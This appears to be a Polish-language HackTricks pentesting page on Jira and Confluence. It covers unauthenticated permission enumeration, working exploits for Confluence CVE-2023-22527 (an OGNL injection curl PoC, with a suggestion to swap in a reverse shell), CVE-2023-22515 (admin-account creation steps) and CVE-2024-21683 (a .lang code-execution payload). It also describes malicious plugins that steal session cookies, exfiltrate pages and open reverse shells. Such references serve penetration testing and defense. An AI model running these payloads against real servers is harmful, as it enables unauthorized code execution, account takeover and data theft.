Jira & Confluence

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Sprawdzanie uprawnień

W Jira można sprawdzić uprawnienia przez dowolnego użytkownika, zalogowanego lub nie, za pomocą endpointów /rest/api/2/mypermissions lub /rest/api/3/mypermissions. Te endpointy ujawniają bieżące uprawnienia użytkownika. Istotny problem pojawia się, gdy użytkownicy niezalogowani posiadają uprawnienia, co wskazuje na lukę bezpieczeństwa, która potencjalnie może kwalifikować się do bounty. Podobnie, nieoczekiwane uprawnienia dla użytkowników uwierzytelnionych również wskazują na lukę.

Ważna aktualizacja została wprowadzona 1 lutego 2019, wymagająca, aby endpoint ‘mypermissions’ zawierał parametr ‘permission’. Wymóg ten ma na celu zwiększenie bezpieczeństwa poprzez określenie uprawnień, o które pytamy: sprawdź tutaj

  • ADD_COMMENTS
  • ADMINISTER
  • ADMINISTER_PROJECTS
  • ASSIGNABLE_USER
  • ASSIGN_ISSUES
  • BROWSE_PROJECTS
  • BULK_CHANGE
  • CLOSE_ISSUES
  • CREATE_ATTACHMENTS
  • CREATE_ISSUES
  • CREATE_PROJECT
  • CREATE_SHARED_OBJECTS
  • DELETE_ALL_ATTACHMENTS
  • DELETE_ALL_COMMENTS
  • DELETE_ALL_WORKLOGS
  • DELETE_ISSUES
  • DELETE_OWN_ATTACHMENTS
  • DELETE_OWN_COMMENTS
  • DELETE_OWN_WORKLOGS
  • EDIT_ALL_COMMENTS
  • EDIT_ALL_WORKLOGS
  • EDIT_ISSUES
  • EDIT_OWN_COMMENTS
  • EDIT_OWN_WORKLOGS
  • LINK_ISSUES
  • MANAGE_GROUP_FILTER_SUBSCRIPTIONS
  • MANAGE_SPRINTS_PERMISSION
  • MANAGE_WATCHERS
  • MODIFY_REPORTER
  • MOVE_ISSUES
  • RESOLVE_ISSUES
  • SCHEDULE_ISSUES
  • SET_ISSUE_SECURITY
  • SYSTEM_ADMIN
  • TRANSITION_ISSUES
  • USER_PICKER
  • VIEW_AGGREGATED_DATA
  • VIEW_DEV_TOOLS
  • VIEW_READONLY_WORKFLOW
  • VIEW_VOTERS_AND_WATCHERS
  • WORK_ON_ISSUES

Example: https://your-domain.atlassian.net/rest/api/2/mypermissions?permissions=BROWSE_PROJECTS,CREATE_ISSUES,ADMINISTER_PROJECTS

#Check non-authenticated privileges
curl https://jira.some.example.com/rest/api/2/mypermissions | jq | grep -iB6 '"havePermission": true'

Automatyczna enumeracja

Najnowsze RCEs & practical exploit notes (Confluence)

CVE-2023-22527 – bez uwierzytelnienia template/OGNL injection (10.0)

  • Dotyczy Confluence Data Center/Server 8.0.x–8.5.3 & 8.4.5. Wrażliwy Velocity template text-inline.vm pozwala na ewaluację OGNL bez uwierzytelnienia.
  • Szybki PoC (polecenie uruchamia się jako użytkownik confluence):
curl -k -X POST "https://confluence.target.com/template/aui/text-inline.vm" \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'label=aaa%27%2b#request.get("KEY_velocity.struts2.context").internalGet("ognl").findValue(#parameters.poc[0],{})%2b%27&poc=@org.apache.struts2.ServletActionContext@getResponse().setHeader("x-cmd",(new+freemarker.template.utility.Execute()).exec({"id"}))'
  • Nagłówek odpowiedzi x-cmd będzie zawierać wynik polecenia. Zamień id na reverse shell payload.
  • Skaner: nuclei template http/cves/2023/CVE-2023-22527.yaml (dostarczany w nuclei-templates ≥9.7.5).

CVE-2023-22515 – setup reactivation admin creation (auth bypass)

  • Publicznie osiągalny Confluence Data Center/Server 8.0.0–8.5.1 pozwala przełączyć setupComplete i ponownie uruchomić /setup/setupadministrator.action, aby utworzyć nowe konto administratora.
  • Minimalny przebieg exploitu:
  1. GET /server-info.action (bez uwierzytelnienia) aby upewnić się, że jest osiągalny.
  2. POST /server-info.action z parametrem buildNumber, aby przełączyć flagę setupComplete.
  3. POST /setup/setupadministrator.action z fullName, email, username, password, confirm, aby utworzyć administratora.

CVE-2024-21683 – authenticated RCE via Code Macro upload

  • Administrator Confluence może przesłać spreparowaną definicję języka w Configure Code Macro; silnik Rhino wykona osadzony kod Java, prowadząc do RCE.
  • Aby uzyskać shell, prześlij plik .lang zawierający payload taki jak:
<?xml version="1.0"?>
<languages>
<language key="pwn" name="pwn" namespace="java.lang">
<tokens>
<token scope="normal">${"".getClass().forName("java.lang.Runtime").getRuntime().exec("id")}</token>
</tokens>
</language>
</languages>
  • Uruchamia się po wybraniu złośliwego języka w dowolnej zawartości Code Macro. Metasploit module exploit/multi/http/atlassian_confluence_rce_cve_2024_21683 automates auth + upload + exec.

Atlasian Plugins

Jak wskazano w tym blog, w dokumentacji dotyczącej Plugin modules ↗ można sprawdzić różne typy pluginów, takie jak:

This is an example of the macro plugin type:

Przykład Macro pluginu ```java package com.atlassian.tutorial.macro;

import com.atlassian.confluence.content.render.xhtml.ConversionContext; import com.atlassian.confluence.macro.Macro; import com.atlassian.confluence.macro.MacroExecutionException;

import java.util.Map;

public class helloworld implements Macro {

public String execute(Map<String, String> map, String body, ConversionContext conversionContext) throws MacroExecutionException { if (map.get(“Name”) != null) { return (“

Hello “ + map.get(“Name”) + “!

”); } else { return “

Hello World!

”; } }

public BodyType getBodyType() { return BodyType.NONE; }

public OutputType getOutputType() { return OutputType.BLOCK; } }

</details>

Można zaobserwować, że te pluginy mogą być podatne na typowe podatności webowe, takie jak XSS. Na przykład poprzedni przykład jest podatny, ponieważ odzwierciedla dane podane przez użytkownika.

Po znalezieniu XSS, w [**this github repo**](https://github.com/cyllective/XSS-Payloads/tree/main/Confluence) można znaleźć kilka payloadów zwiększających wpływ XSS.

## Backdoor Plugin

[**This post**](https://cyllective.com/blog/posts/atlassian-malicious-plugin) opisuje różne (złośliwe) działania, które mógłby wykonać złośliwy plugin Jira. Można znaleźć [**code example in this repo**](https://github.com/cyllective/malfluence).

Oto niektóre działania, które złośliwy plugin mógłby wykonać:

- **Hiding Plugins from Admins**: Możliwe jest ukrycie złośliwego pluginu poprzez wstrzyknięcie front-end javascriptu.
- **Exfiltrating Attachments and Pages**: Umożliwia dostęp i eksfiltrację wszystkich danych.
- **Stealing Session Tokens**: Dodać endpoint, który odzwierciedli nagłówki w odpowiedzi (wraz z cookie) oraz javascript, który się z nim skontaktuje i leak the cookies.
- **Command Execution**: Oczywiście możliwe jest stworzenie pluginu, który wykona kod.
- **Reverse Shell**: Lub uzyskać reverse shell.
- **DOM Proxying**: Jeśli confluence znajduje się wewnątrz prywatnej sieci, możliwe byłoby ustanowienie połączenia przez przeglądarkę użytkownika mającego do niego dostęp i na przykład kontaktowanie się z serwerem oraz wykonywanie na nim poleceń przez to połączenie.

## Referencje

- [Atlassian advisory – CVE-2023-22527 template injection RCE](https://confluence.atlassian.com/security/cve-2023-22527-rce-remote-code-execution-vulnerability-in-confluence-datacenter-and-confluence-server-1333990257.html)
- [CISA AA23-289A – Active exploitation of Confluence CVE-2023-22515](https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-289a)
> [!TIP]
> Ucz się i ćwicz Hacking AWS:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Ucz się i ćwicz Hacking GCP: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Ucz się i ćwicz Hacking Azure: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Wsparcie dla HackTricks</summary>
>
> - Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
> - **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
>
> </details>